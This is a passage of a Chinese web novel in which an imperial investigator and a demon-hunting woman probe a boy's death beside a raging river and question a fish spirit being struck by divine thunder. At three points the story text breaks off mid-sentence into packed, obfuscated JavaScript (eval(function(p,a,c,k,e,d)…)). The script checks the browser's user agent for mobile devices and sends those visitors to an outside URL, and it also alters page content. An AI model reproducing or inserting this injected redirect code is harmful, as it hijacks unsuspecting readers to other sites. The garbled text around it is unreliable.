过了半晌,杨奉安小心翼翼回禀:“大人,今日怕是......无法渡河了......” 果不其然,看到了上司的脸由晴转阴。 “为何?”霍彦先眉头微蹙,“前两日这边给我的密报还说没问题。” “不知道呀,据当地的绣衣行走说,仙昙村那条河昨夜开始就一直无风起浪,比平日凶险万分,完全无法行船,当地人说是河神发怒了。所有想渡河之人都只能被迫改道。” 霍彦先抬头看天,今日不仅无风,还是南地难能可贵的风和日丽。 “最近附近可有地动传闻?”霍彦先问。 杨奉安迅速翻了一圈脑子里的密报:“这倒没有”。 无风,无地动,河水怎么会起浪? 杨奉安继续说:“哦对了,他们说村里出了一个妖女,将小孩子杀魂做蛊之后好一顿虐待,最后活生生投河了,罪孽十分深重,所以河神才发怒,他们现在全村都聚在河边,准备等合适的时辰将妖女投河,祭祀河神。” 果然,又有这种事,霍彦先想起之前的传闻。 此前他做绣衣暗侯时,曾在仙昙村乔装查探情报。 呈溪县仙昙村,地处深山峡谷,自古多雨、多毒虫毒物、多瘴疠,连带着盛产蛊疾咒祸,因此当地人特别害怕蛊师,尤其是会“杀魂做蛊”的人。 据说每年村里都会有人因“杀魂做蛊”失去神智,甚至丧命。所以一旦知道谁有可能会这种邪恶的蛊术,全村都唯恐避之不及。 当年他忙着收集情报,也只听了一耳朵,没往心里去。只记得村民让他小心村里的一个漂亮小娘子,少跟她来往,尤其是不要随便吃她送的饭菜,接她相赠之礼。 如今却又让他赶上了。 他心中默默盘算了一下路线和日程,发现哪怕是在此地停留两日,等河流平静下来复航,也比在山间绕来绕去更加节省人力物力。 但现在的问题是,这河到底什么情况?两日之内能不能复航? 他叫来杨奉安,决定两人先策马去河边查探一番。如若判断两日之内能渡河,再发信号叫余下司众过去,否则就在原地改道,比较省力。 二人刚准备上马,霍彦先又对余下司众道,“去呈溪县衙,问问县令薛世程,他的仵作在不在,闲着就快马送过来,就说我邀请他们夜观奇景。” *** 霍彦先和杨奉安顺着山路来到河边。 夜幕已落,微微起了山风。按理说河水只应微掀波澜,可他们眼前这条河,却好似瀑布倾倒在河面之上一样激起千层波涛,十分古怪。 河边有一大丛篝火,旁边有个矮几,摆着燃香的铜炉、点燃的香烛以及猪牛羊牲等各种祭品。 靠树绑着一个身形纤细、雾岚色衣裙的女子,看打扮是个方士的模样。 祭台之前,烛烟升腾,一老者手持木筒,内里插着五十根精心挑选的蓍草。 他取出一根蓍草,放在祭台上,将剩下的四十九根蓍草分握于左右手,随后开始分、挂、揲,不断对蓍草进行各种排列重组,口中念念有词…… “许长老,如何了,吉时到了没?”村民们紧张地盯着河面。 终于,许长老停止了手中的动作,将一旁地上堆放着的一个扎成圆形的稻草圈扔进河面。 这个动作,村民见他重复了好几次,但前几次稻草圈全都直接被冲走,而这次竟在翻滚的波涛中迟迟没有沉底不见,而是在河面上的固定一点打着漂,来回旋转,似有锚点。 “成了!这回成了!吉时已到!”老者激动地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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许长老、村民、被绑的女子同时被他这话吸引,转过身来。 “他在胡说什么呀?” “休要胡言乱语!” 众人七嘴八舌地骂着,看霍彦先这个陌生外乡人的眼神充满敌意。 一直守着孩子尸体的夫妇本是满脸悲伤,听到自己儿子是“死后溺亡、被人谋害”,睁大眼睛,难以置信。 “滚开!不要捣乱!”旁边一个五短身材的男子骂骂咧咧大力推搡霍彦先。 却不料,没推动。 霍彦先身形高大,却并不十分壮硕,常服打扮颇有点儒雅的文弱书生模样,那五短身材的男人也没想到,这一推倒像是对上了一堵石墙。 “郎君救我……我是冤枉的……”十分娇细的一声呼救。 霍彦先循声望去,是那被绑投河的女子挣扎着扭过身体,向他求救。 她高挑瘦弱,雾岚色裙角随夜风飘扬,整个人远看恍若一缕白纱,随时会被风吹走。 单说一张瓜子脸,秀眉细鼻,骨相伶俐,若放在旁人脸上,不过是小家碧玉的明艳娇俏,而她却因那一双眸子,变得与众不同。 和她语气中的慌乱完全不同,那双眸子本如夜空一般漆黑,但眼中映照着簇簇跳动的篝火,却亮得吓人,充满了勃勃的野性和狡黠。 这双眸子,与她的血色樱唇、如瀑青丝、细白身形组合在一起,一种妖异的蛊惑在夜幕下绽放开来。 霍彦先刑讯过不少杀人犯,极少有人能禁得住与他对视的压迫感。 而她,就那么不避不闪地,直勾勾地看着他。 霍彦先心中突然升起一个念头。 她其实根本不屑将一个小孩子“杀魂做蛊”,因为只要她想,这一整个村的人,都不够她杀的。 4. 奇门游方阵 “郎君救我……我是冤枉的……”那女子又重复了一遍,眼睛却没有看着霍彦先,而是瞟向了祭台。 这演的,过于敷衍了点。霍彦先心想。 她根本不怕被绑,也不怕被投河,为什么暂且不知,但她也没想藏。 就看着这帮村民,一通瞎忙。 她到底想干什么? 正想着,霍彦先又被骂了。 “你一个外乡的瞎掺和什么?”五短身材的男子怒气冲冲骂道。 霍彦先冷笑反问:“阁下这么激动不想让我管,莫非孩子是你谋害的?” “你......你乱讲什么!”五短身材男子被呛,赶紧反驳。 “郎君,我没有将小宝杀魂做蛊,我本是个捉妖方士,兢兢业业在这村子附近的林中捉妖,顺便暂住此地,从不曾放蛊害人,这一切都是胡三郎诬陷我!”女子为自己伸冤。 被点名的胡三郎立马怒了:“你这妖女,少血口喷人!” 霍彦先看向胡三郎,那是个肩背微驼细瘦,犹如“细骨蛇”一样的年轻男子,脸色青灰,颧骨高耸,看身上穿的缎料,在这村子里应算是有钱人家。 “就是!你这妖女,不仅把小宝杀了魂,还搔首弄姿勾.引我儿子,得亏我儿子定力够,没上你的当!要不然说不定现在已经魂归天外了!” 说话的是胡三郎的母亲,一个矮瘦泼辣的老妇人。 霍彦先听着他们吵,细细品味着话中的信息,然后说道:“孩子的尸体是不是被‘杀魂’我不敢确定,但他却并非活着时被人推下河中溺亡,而是死后才被投河的。” “什么?”众人惊诧。 霍彦先指着小宝的嘴:“首先,活人溺水,不管意识清不清醒,但因尚有呼吸,多少都会呛水,泥沙就会随之进入口中,但我检查小宝的口中几乎没有泥沙。” 他又将小宝的手掌翻开:“其次,溺水后人会本能地水里有什么就抓什么,比如水草、树枝、泥沙、礁石等物。但大家可以看到,小宝的掌中只有厚厚的茧子,并没有抓住这些东西挣扎的痕迹。” “那小宝是怎么死的?”小宝的父母发出疑问。 霍彦先道:“我简单查看了一下,他身上有一些淤青,应该是被殴打所致,但真正的致命伤,应该在脑后。” 他将小宝的头微微偏过,拨开脑后发缝,一小块圆形挫伤露出来,这一处有轻微红肿。 他让众人借着火光仔细看:“这处钝器损伤,可能是他真正的死因。” “你瞎说的吧,这伤口看起来这么小,怎么可能致命?”众人发出疑问。 “刚才我检查过小宝的口鼻,生前溺亡之人,一般口鼻会出现白色或淡红色的泡沫,但小宝的口鼻之中不仅没有出现泡沫,还有明显出血,这很可能就是脑部钝器伤所致。 不过我也确实想不通,如果这钝器伤足以致死,为何脑后这处伤口竟然像是快速愈合过一样,这并不符合常理。” 未等众人说话,他又指着小宝的皮肤:“此外,溺水之人在水中浸泡一晚,皮肤会发白、膨胀、脱落,但小宝的样子只是好似陷入沉睡,根本不像在水中一整晚才被发现捞上来的溺亡状。这些都很不寻常。” 霍彦先拿出一根探针,“以上只是我的初步猜测,还需用这根探针深入检查口鼻出血的状况,以及他身上其他地方,才能进一步了解真正死因。” 人群中有人喊道:“大家不要听这个外乡人妖言惑众,说不定他和妖女是一伙儿的!” “对对,不能相信他!” “别让他碰小宝的尸体!” 霍彦先却没有对小宝做什么,直接将探针递到村正手中:“村正大人,大家不相信我,但你亲自查探,结果总不会作假吧。是真是假,您一探便知。” 大家一片哗然,看着村正。 “村正,这人明显不是道医,也不是仵作,凭什么他说什么就是什么?”村民提出质疑。 村正看着这个不知道从哪里冒出来的年轻人,心中有不好的预感,迟迟没有动作。 村民们看见村正的反应,有了底气,气势汹汹继续讨伐霍彦先:“外乡人不要多管闲事!哪里来的回哪里去!” “休得放肆!你们知道他是谁吗?” 杨奉安实在看不下去了,拿出非常隆重的语气介绍:“我们郎君的真实身份,是绣衣察事司副察事,霍彦先霍大人!他是专门微服到此查案的!” 他的慷慨激昂,换来众人一片鸦雀无声,面面相觑。 “什么事?父查事?那是什么事?”有人小声问。 呈溪四月的天气已不算冷,但杨奉安尴尬到透心凉。这些乡野村夫,竟然连令朝中重犯闻风丧胆的绣衣副察事霍大人都不知道!简直大大的无语! 他大概是朝中案子办久了,忘了天高皇帝远,宰相在这里恐怕都没有县令威风。 霍彦先早料到众人这反应,倒也没特别尴尬,云淡风轻地自己给自己找台阶下:“这样吧,村正大人不如去找呈溪县衙的薛世程薛大人,他有专门的仵作,断案也肯定比我这种‘什么事’强多了。” 村正听到县令头都大了,连忙摆摆手:“不可不可!只是些小事,如何能麻烦薛县令纡尊降贵来我们这个荒村野地?况且天色已晚,县令大人肯定已经睡下了,路途遥远......” “霍察事——霍大人——”话音未落,一个身着官服的中年男人纵马狂奔而至,勒紧缰绳,从马上滑落,一个趔趄没站稳,差点跪在地上。 “哦,是薛大人啊,真是对不住,这么晚了还把你叫过来。”霍彦先露出难得的温和微笑。 “哎呀,哪里的话,霍大人相请岂有不来之理?” 薛世程赶紧冲霍彦先行了一个大礼,随即抹了抹额头的汗,是冷汗。 开什么玩笑!他能调任此处当县令,就是因为前任县令当年中饱私囊,被霍彦先从任上突然给薅下来的。他此刻哪怕是入了土,也得掀开棺材板爬过来! 村正和村民有点傻眼,在一旁看着他们眼中如同大佛的县令大人对这个“什么事”嘘寒问暖,毕恭毕敬,隐约觉得大事不妙。 “薛大人,村子里出了一起人命案,刚才我草草检查了一下尸体,疑点重重。但毕竟我不是仵作,不能服众,不如请贵县衙的仵作再当众检查一下,也好让大家放心。” “好、好,冯仵作,快来验尸,仔细一点!” 薛世程招呼一同前来的仵作,那仵作因骑马太快颠得脸色苍白,但丝毫不敢怠慢,显然已知晓对面这位霍大人的厉害。 看薛世程的官服领子因纵马狂奔歪掉了,霍彦先微笑着把他的领子扶正,薛世程的腿更软了。 完蛋了!他治下出了这档子事,被绣衣察事司抓到,他的年度考课完蛋了! *** 仵作快速仔细勘验一番,得到的结论跟霍彦先所判断猜测的大致相同。 他在小宝衣服之下发现了更多淤伤,像是被拳打脚踢过,但这些伤口都不足以致命。 小宝口鼻中确实存在致死量的出血,综合所有伤口判断,应系脑后钝器伤所致。只是钝器伤口怎会在人死后还能愈合?这令从业十几年的仵作也十分费解。 至此,查探陷入僵局。 对于此番结论,村民不敢有异议,毕竟有县令大人在旁做背书。 “齐村正,你如何看这个案子?”薛县令发问。 众人看向村正,村正的脸红一阵白一阵,在县令面前不敢造次,强行缕清思绪道: “县令大人英明,小人失察,让村中出了这种事。不过我们村的许长老懂得些玄学方术,确实说过小宝命不该绝,目前他因魂魄缺失无法被超度,因此才想到可能是被妖女……呃……阿婵‘杀魂做蛊’。 仵作检验只能证明阿婵没有将小宝活着时投河,但也不能否认她就没有对小宝‘杀魂做蛊’。无论如何,小宝的死必有冤屈,还请县令大人做主彻查,还小宝一个真相。” “也还我一个清白啊。”被绑的女子语气凉凉插了一嘴。 原来她叫阿婵。 霍彦先看她那丝毫不在乎自己清不清白的神情,感觉十分奇怪。 就在众人陷入尴尬沉默之时,天上突然劈下一道雷,直劈河面之上,本就翻腾不息的河面变得更加躁怒起来。 这炸雷声响比过年时放的爆竹响百倍千倍,所有人都被这突如其来的巨响震得脑袋嗡嗡作响。一些年老体弱者和年幼孩童,甚至被震得站立不稳,直接摔倒。 大家都将目光投向夜空中炸雷的方向,霍彦先却看到阿婵盯着河面,神色严肃起来。 “是天诫雷......”阿婵喃喃道。 顷刻间,夜空风云变幻,群山后原本漆黑的天际,泛起阵阵紫红。 河水翻腾得要炸了起来,有一道金光闪现其中,复又不见。 霍彦先看到阿婵几乎是顷刻之间就解除了自己身上绑缚的绳子,一改之前那风一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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阿婵双指往后一“勾”,处于虚空之中的蛛丝渔网,立马就似被大力拽住一般,猛地往回划过夜空,扫出一片蓝,越过众人,被甩到了村正头上,将其砸倒在地,众人一片惊呼去扶。 “啊呀,失手了失手了,村正大人对不住!” 霍彦先看见阿婵满脸写着“我就是故意的”,轻快地跑到眼冒金星的村正面前,把渔网网住的东西抱走了。 只见她掏出一捆枯藤编的藤环,将渔网中一个胖墩墩的东西随意倒在枯藤环里,众人眼睁睁看着那枯藤环从扁平状态自行变为一个圆形的笼子,将其困在其中。 “你这个小妖怪,道行没几年,却招来这么大的天雷,是作了多大的死啊!” 众人凑上前才看清,那个胖墩墩的东西是一条鱼,虽然泛着金光,可不得不说,真的很丑,像是上天胡乱泼了些泥巴疙瘩在这条鱼身上,毫无美感可言。 “嚯!好丑啊!” “哪里来的丑东西,就是它在河里兴风作浪吗?” 有人看着江里翻腾的波涛瞬间平静,啧啧称奇:“别说,你看河里现在平静了,它好像还真是河神爷爷啊……” “河神爷爷能这么丑吗?” 众人七嘴八舌地小声议论着。 “呜哇哇哇——”这丑鱼的哭声像个小孩儿:“不许说我丑!不许说我丑!” “它会说人话!”众人惊奇,头一次见到会说话的鱼。 它疯狂地左右挣扎,但是越挣扎,藤编的笼子就缩得越紧。 “别挣扎了,瑶山幻藤编的缚妖笼,你逃不出去的。” 阿婵给它贴了一道符,这鱼立马化作一个十一二岁的胖胖男童模样,竟然跟小宝年纪相仿。 见他还在捂着脸哭,阿婵不耐烦起来,揪着他的耳朵道: “别装了,你可知刚才那道是‘天诫雷’,招来这雷说明你做了天道不能忍的事情,到底是什么,你要是敢不老实,第二道‘荡魂雷’马上就到!” 那胖头小鱼妖立马不装哭了,转而一脸暴躁地说:“我朋友小宝被人害死了,我要替他报仇!” 阿婵嗤笑一声:“就你这道行,有一百年吗?都翻腾不出水面,你怎么替他报仇?” “那又如何,我天天折腾,人在河边走,哪有不湿鞋,总有一天那人会掉进河里,我就咬死他!”胖头小鱼妖恶狠狠地说。 “可你知道是谁害死了他吗?说出来我听听。”阿婵问。 “是你!”胖头小鱼妖只迟疑了一瞬,就斩钉截铁地说。 5. 叫你说谎! 众人一副果然如此的表情看向阿婵。 霍彦先皱起了眉头。 所有人都等着听阿婵如何辩解。 “轰隆——”天上第二道雷落下来,精准劈在了胖头小鱼妖的身上,将它劈了个小脸焦黑,头发炸起来。 一阵浓烟。 “咳咳,叫你说谎!‘荡魂雷’的滋味好受吗?魂魄受到涤荡了吗?”阿婵没好气地指着鱼妖的鼻子骂道。 众人被浓烟呛得纷纷捂住口鼻,好大一个雷就这么劈了下来,饶是大家及时往后退了很多,但声音太过巨大,众人的心神都受到震荡。 霍彦先用内力护住心脉,没有像其他村民那样被巨雷的混响损伤心脉,但也被这雷的威力所震惊,今晚的一切都诡异非常,超出了他的认知。 待到所有人恢复正常,浓烟散去,发现在场的只有阿婵还没事人一样站在它旁边骂骂咧咧。 “你这小鱼妖是不是刚成精没几年,不知道五雷劫的厉害,再说谎,五道雷全劈下来够你修为散尽,灰飞烟灭!” “可是你身上就是有小宝的血的味道!”小鱼妖恶狠狠地说道。 阿婵想了想,恍然大悟,掏出一个锦囊,“你是说这个吗?” 霍彦先走上前去,想要看看阿婵手里的东西,很可能跟小宝之死有关。 阿婵将锦囊打开,里面是一道折成三角的黄符。 她解释道:“这是小宝请我给他母亲做的祛病符,滴了他的指尖血,就是为了给他送这个去,结果给我扣了好大一个锅,让我被绑到现在。” 说着她便想把祛病符扔给小宝还在哭啼的阿娘,被霍彦先拦住。 霍彦先将祛病符展开,见其中果然有血迹。 他对阿婵说,祛病符暂时还需要收由县衙保管,直到查清真相。 阿婵当然没意见,随即她转头问胖头小鱼妖:“现在我身上还有小宝的血吗?还有别的证据指认我是凶手吗?” 小鱼妖瘪瘪嘴,极力想要再想出点什么来,但都失败了,气鼓鼓地不说话。 “说说吧,小宝到底怎么回事?”阿婵问道。 胖头小鱼妖嘴里吐出一缕雷劈出来的黑烟,咳了两声,终于老老实实交待起来: 原来,在它还是一条刚刚有了灵气,会说人话的小鱼妖时,就被去水潭捉鱼的小宝捉住过。他说这个鱼长得虽丑,却金灿灿的,好像有仙气,要带回去给生病的阿娘做鱼汤,希望她的病能够好起来。 胖头小鱼妖那时候正在修炼的紧要关头,因为不能挣扎,才不小心被抓住,不想就这样断送仙途。 于是它开口哀求小宝:“求求你放过我吧,我马上就要修道成仙了,就这么被炖了太可惜了,你放过我,也能积德,会有福报的。” 小宝本来听到鱼会说话着实吓了一跳,但他是个心善的孩子,虽然阿娘很需要鱼汤来补身体,但听到小鱼妖这么说,不忍心让它白白修炼,就把它放回了潭水里,嘱咐它一定要小心,别再被捉到了。 为了报答小宝,小鱼妖说可以想办法帮他找找救治母亲的药。 它问了许多来河边喝水的林中鸟兽,有什么办法可以治小宝母亲的病,还真打听到有一株陈根灵草能够治病,它就告诉了小宝。 陈根灵草长在仙昙村这片林中,不起眼的黑紫色叶片常隐蔽在杂草之间,却能吸收天地精华。 每月十五,子夜时分,当第一滴露水从陈根灵草上滑落,此时它吸收够了日月精华,便可以碾碎入药,缓解小宝母亲的病情。 过了几天,小宝兴高采烈地回来,说他按小鱼妖的说法找到了陈根灵草,阿娘吃了之后病情果然有起色。 从此,一人一妖就成了好朋友,小宝经常在给阿娘采药时,顺便给胖头小鱼妖也找些它需要的灵草,助它修为。 就这样过了几年,小鱼妖的修为进步很大。 别的鱼见它有如此进境,表面上不说什么,暗地里却说它那么丑,就算身披金光,也能丑瞎眼,根本入不了仙班。 它们隔着很远说,但小鱼妖的修为大进,即便离得很远,它都能听得到。 小鱼妖自出生以来就被骂丑,所以它一直憋着一股劲,想要比那些漂亮的鱼更强,更快地修炼成精。 听到自己这么努力,背地里还被骂得这么难听,它气得直哭。 但小宝说,它们这是嫉妒它。只要它变得比它们更强,强到一百倍、一千倍的时候,跃了龙门,自然有更广阔的仙途等着它,何必还在意这些偏僻潭水里一群眼红的鱼? 小鱼妖听了觉得十分有道理,便捂着耳朵假装听不见这些风言风语,加紧修炼。 小宝坚定地支持它,不仅言语上给它加油打气,更是加倍认真地帮它找灵草,他胸口也赌着一口气,不能让自己的好朋友被比下去。 而且在他看来,小鱼妖认真坚定修炼的样子,让它身上的金光更耀眼。 可后来不知为何,小宝来找它的次数越来越少,每次就算来也是心事重重,小鱼妖就问他是不是遇到了难事。 原来那个陈根灵草越来越少,已经很难找到了。 小鱼妖最初用自己的修为做交换,让林中鸟兽帮它去周围远一点的地方找灵草,小宝的阿娘一度又好了起来。 但后来林中突然闹了疫病,鸟兽草木死了大半,陈根灵草也没了,任胖头小鱼妖用多少修为交换,也再换不来灵草。 小宝的阿娘病情又开始每况愈下,他没办法每天来找胖头小鱼妖玩,只能在家照顾病重的阿娘。 胖头小鱼妖有点落寞,但也没办法,它想着自己得加紧修炼,说不定能提早跃龙门,这样就能帮小宝到更远的地方找药,说不定还能找到更好的药,让他的阿娘痊愈。 这样想着,小鱼妖便越发努力,又一次到了修炼的紧要关头。 可这次,它又倒霉地因为在修炼关键时刻不能挣扎,被一个厉害的渔夫捞走了。 小宝家很穷,穷到没有地可以种,每日忙着砍柴换钱,赶去集市买菜,路过鱼摊的时候,他竟然看到了胖头小鱼妖,一整条鱼瘫在砧板上动弹不得,仔细一看,原来是被细细的线绑住不能动。 它浑身发着金光,挣扎着怒吼:“放开我!放开我!”但是没人理会它。 每个路过的人,不管买不买鱼,都只会凑热闹说上一句:“你看这鱼多丑啊”! 原来渔夫将胖头小鱼妖卖给了鱼摊老板,这个老板知道顾客喜欢看猎奇的玩意儿,也不杀它,而是专门把它单独放在一个盆里展示,招徕顾客。 但老板一不注意,小鱼妖就奋力挣扎弹出去,老板没办法,只好把它生生绑在砧板上。 小宝这才发现,原来不是每个人都能看到小鱼妖身上比他初见时更盛百倍的金光。 他想小鱼妖肯定又是因为修炼时被趁虚而入才被抓住的,赶紧上前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14931432|160662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想要买下小鱼妖回去放生。 尽管这样的话,他的钱就不够给全家买吃食了,但砧板上的可是他的朋友啊!不能就这样让朋友在这里受苦,他几乎没有犹豫,便决定用手里所有的钱将小鱼妖买下。 可就在此时,身后突然出现一个咿呀学语的三岁小童,穿着华贵的绸缎衣裳,看见这条丑鱼十分新奇,吵着闹着要这条丑鱼玩,小童父亲立马就要付钱。 小宝连忙说:“老板,我先要的!” 鱼摊老板丝毫没有犹豫,指着那位小童父亲说:“但是他出价高。” 小宝再三恳求小童父亲将小鱼妖让给他,都遭到了拒绝。 他就这样眼睁睁地看着胖头小鱼妖被那个还不懂事的小童捏着攥着,抛来抛去,小童兴奋地哇哇叫,小鱼妖被撕拽得遍体鳞伤。 不管小宝怎么哀求小童父亲,那个小孩子就是不肯松手,父亲见状,也没有阻拦,还十分不耐烦地推搡他:“不就是条鱼嘛,那么多你换一条不就行了!” 小宝见小鱼妖快被折腾死了,实在忍不了了,猛地上去推开小童,抢了他手中的小鱼妖就跑。 那小童被突如其来推倒在地,懵了一瞬,随即坐地哇哇大哭。 “哎!你怎么推我儿子,还抢小孩子的东西!哪里来的黄毛小子,还要不要脸了!这鱼是我付钱买的!”小童父亲把儿子扶起来好一顿安慰,然后立马将小宝抓回去厉声训斥,外加一顿胖揍。 好在,在这之前,胖头小鱼妖已经被小宝扔进了集市旁边的河里。 小鱼妖落在水中,好不容易缓过口气,浮上水面,就听见小宝拼命地大喊:“快游!快游!别再被抓到了!” 然后他就被那小童父亲从身后大力拖拽走,小鱼妖看不见岸上发生的事情,只能听到拳打脚踢的声音。 胖头小鱼妖含着泪拼命地游,拼命地游,直到听不见小宝的痛叫声。 讲到这里,小鱼妖吸了吸鼻子,哽咽道:“要是知道这是我见小宝的最后一面,不如和他一起被打死!” 他接着说,其实和上次被小宝抓住一样,这次也它命中一劫,渡过此劫,方可修炼成功,而这次,又是小宝帮它渡了劫。 经此一劫,它变成了法力可以兴风作浪的鱼妖,可以跃出水面很高很高,只要再潜心修炼,很快就可以跃龙门。 以它百年的修为,能够迅速达到这个境界,着实厉害。 见它回到河中,那些平时骂它丑的鱼妖,这次终于老老实实闭了嘴,见了它都要恭恭敬敬道贺,丝毫不敢招惹它。 小鱼妖得以安心地在河里继续修炼,希望小宝早日来找他,它要告诉他这个喜讯,好好谢谢他。 终于,它等到小宝来找它了。 那天,天已经黑了,胖头小鱼妖正在修炼,听到“扑通”一声响,它游过去一看,发现竟然是鼻青脸肿的小宝落入了水中。 任它怎么呼喊,小宝都闭着双眼,毫无反应。 小鱼妖发现,它的朋友脑袋后面涌出了好多好多的血水。 它用法力堵住了小宝脑袋的血窟窿,输送给他好多好多的修为,多到它都没力气再跃出水面看看到底发生了什么,但仍唤不醒他。 它终于接受了一个事实: 他的朋友,好像死了。 胖头小鱼妖的滔天怒火让整条河都翻滚沸腾起来。 到底是谁害死了小宝,它要报仇! 6. 灰飞烟灭 “所以你就天天在这个河里扑腾,但其实完全不知道凶手是谁?也没有任何头绪?”阿婵抱着双臂听完,发出疑问。 “没......没有......”胖头小鱼妖嘟囔道。 “轰——” 第三道天雷劈了下来,把他劈得皮开肉绽,饶是他百年修行的躯体也承受不住,剧烈地颤.抖.抽.搐着。 虽然雷只劈在鱼妖身上,但山川大地似乎都跟着震了一震,这回在场所有人几乎都站立不稳,犹如海上乘舟遭遇风暴般被震得东倒西歪。 有村民因害怕想要逃离这里,但碍于薛县令的命令,案件没有查清楚之前,所有人都不许走。 村正也害怕再这样下去,天雷真的把所有人都无差别劈死,但一看薛县令和霍彦先的眼神,还是组织一众年轻壮丁,将村民都看住,不许有人溜走。 阿婵简直无语了,对着还在抽搐的小鱼妖大骂: “不是,你到底还隐瞒什么了?‘破岳雷’都劈下来了,你要是想死就直说,我可以早点送你走,也好过承受五雷劫的痛苦,你想让大家陪你一起死吗?!” 小鱼妖修仙时间短,不知道五雷劫竟厉害如斯,被震得五脏六腑仿佛颠倒了位置,喷.出好多血,奄奄一息地抬了抬手。 阿婵顺着他手的方向看过去,平静的河面浮起一片青绿色的东西。 她拿过来,原来是件衣服。 胖头小鱼妖虚弱地说:“我只是……想留一件小宝的东西做纪念,不知道是不是因为这个招来了‘破岳雷’。” 阿婵将衣服捞起展开,湿哒哒地滴着水,却能看出衣服很大,绝不是小宝穿得了的,不是他的衣物。 “看来这就要靠县令大人和霍大人了。”阿婵目光投向这二人。 薛县令仔细查验着衣服的里里外外,后背处染了血迹,或许是小宝的,但被水泡过之后,颜色变得很淡。 他问小鱼妖:“这衣服是小宝身上的吗?” “是,我在河里遇到他时,他就穿着这件衣服。我不忍心他的尸体在河里泡着,就将他送回岸边,但又想到以后都见不到他了,就留了这件衣服做纪念。”胖头小鱼妖说着说着委屈得要哭了。 薛县令对霍彦先说:“霍大人,这衣服并不符合小宝的身材,看上去是成年男子的,说不定就是凶手杀了小宝之后,用这件衣服裹住将其投河的。” 霍彦先扫视众人一圈:“去排查一下是否有人见过昨日曾穿这件衣服的人。” 薛县令只带了个仵作,人手不够,只好自己去一一排查。 众人留在原地等待调查。 等了一会儿,霍彦先走到一个孕妇面前问:“你认识那件衣服?” 他在阿婵拿到这件衣服抖落开的时候,就将在场全部人的反应尽收眼底。 这是一件普普通通毫无特色的男性常服,大部分人看到这件衣服时,眼中是好奇、平静、麻木,这些都是正常反应,只有这个孕妇,眼中有着明显的欲言又止。 她的丈夫就站在她旁边,看见霍彦先冲他们而来,急忙看着孕妇道:“这衣服不是我的啊!” 霍彦先问过姓名,原来孕妇唤作邢娘子。 阿婵不知何时走到邢娘子旁护着她,轻声道:“没事的,霍大人可以做主,你跟他讲吧。” 比起面前这个冷面严肃的霍大人,邢娘子显然更亲近阿婵,她有点畏缩,声音很小: “那件衣服,是我的好姐妹卢七娘做的,袖子边上有细小的绣花,县令大人翻的时候我看到了,是七娘特意绣上去的,我们两个坐在我家院子里晒太阳的时候绣的。” “会不会看错了?” 邢娘子摇摇头:“我不会看错的,当时我还笑她,说是不是要送情郎,她就笑笑也不说话......” “卢七娘何在?”霍彦先问。 “她......昨天下午就不见人了,说是晚上有重要的事,我也不知道她去哪儿了。”邢娘子回答。 霍彦先递给杨奉安一个眼神,后者立刻面向众人问道:“卢七娘家人何在?” 一对年迈的夫妇颤颤巍巍回话:“在此,在此,七娘她......昨晚吃过饭便出去了,至今没有回来......我们也一直在找。” “失踪了?”霍彦先有不好的预感。 “不知道,我们也很着急,发动了家人亲戚在找,但一直找不到,想来找村正帮忙,但这不是祭祀河神要紧嘛,就只能先等着。” 霍彦先看向村正,村正见扯到自己身上,慌了神:“先出了小宝的事,这不是一直没顾上,没顾上……” “那你昨日可见谁穿过刚才那件衣服吗?”霍彦先问。 村正赔了个笑脸,“看布料只是寻常男子的衣服,村里大部分人都穿这种粗布料。小人眼拙,实在是看不出是谁的衣服。” 霍彦先问邢娘子:“你跟卢七娘关系那么好,可猜得出她这件衣服是做给谁的吗?” 邢娘子涨红了脸,犹豫半天说出四个字——“严家二郎”。好似捅出天大的秘密。 “严家二郎何在?”不待霍彦先示意,杨奉安大声问。 人群中一个清瘦俊秀的年轻人立马站出来:“草民在。” 霍彦先看那邢娘子,自说出来严家二郎四个字后,她都不敢看他。 “这衣服可是卢七娘做给你的?”霍彦先问。 “小人不知。”严二郎摸不着头脑,一脸懵的感觉。 邢娘子非常小声地说道:“大人,卢七娘只是暗中心悦严家二郎……” 说完,她仿佛非常后悔将这话说出来,大概是觉得自己背叛了与好姐妹的秘密约定。 严二郎十分惊讶,看样子也不像是装出来的,他还不知情? 霍彦先问严二郎:“小宝出事那晚的戌时到亥时,你在什么地方?” “草民在家中读书备考,哪里也没去过。” “谁能给你作证?” “草民家中父母。” 也就是没有非亲证人。霍彦先仔细将目前所有的线索汇总,发现依然不能确定疑凶。只能等薛世程回来再说。 探查再次停滞。 阿婵看这夜空依旧乌云滚滚,一颗星看不见,一滴雨也不下,按理说三道雷劈完也差不多该云散天开了,可看天相,却并没有结束的意思,十分古怪。 她走到小鱼妖面前,看它可怜兮兮的样子,便给这个修仙界新妖传授一下基本常识:“你是不是把知道的全说了?如果还有隐瞒,一会儿可还是要有雷来劈你的。” “第四道‘焚魄雷’会降天火焚身,把你烧成鱼干儿;第五道‘绝道雷’降下,一切道行烟消云散、灰飞烟灭。 听名字能明白有多厉害吗?你还知道什么快说,可别等到待会儿受罪。你死了倒无妨,别让村里人跟你一起遭殃!” 小鱼妖闭着眼睛哼哼:“没有了,没有了......” “轰——” 它话音未落,第四道雷就伴着巨大的火球从天而降,直击鱼妖。 “你这个冥顽不灵的家伙!!!”阿婵骂道。 幸好她躲得快,这天火哪怕在旁边被燎到,不死也得脱层皮。 只见这天火,独独将胖头小 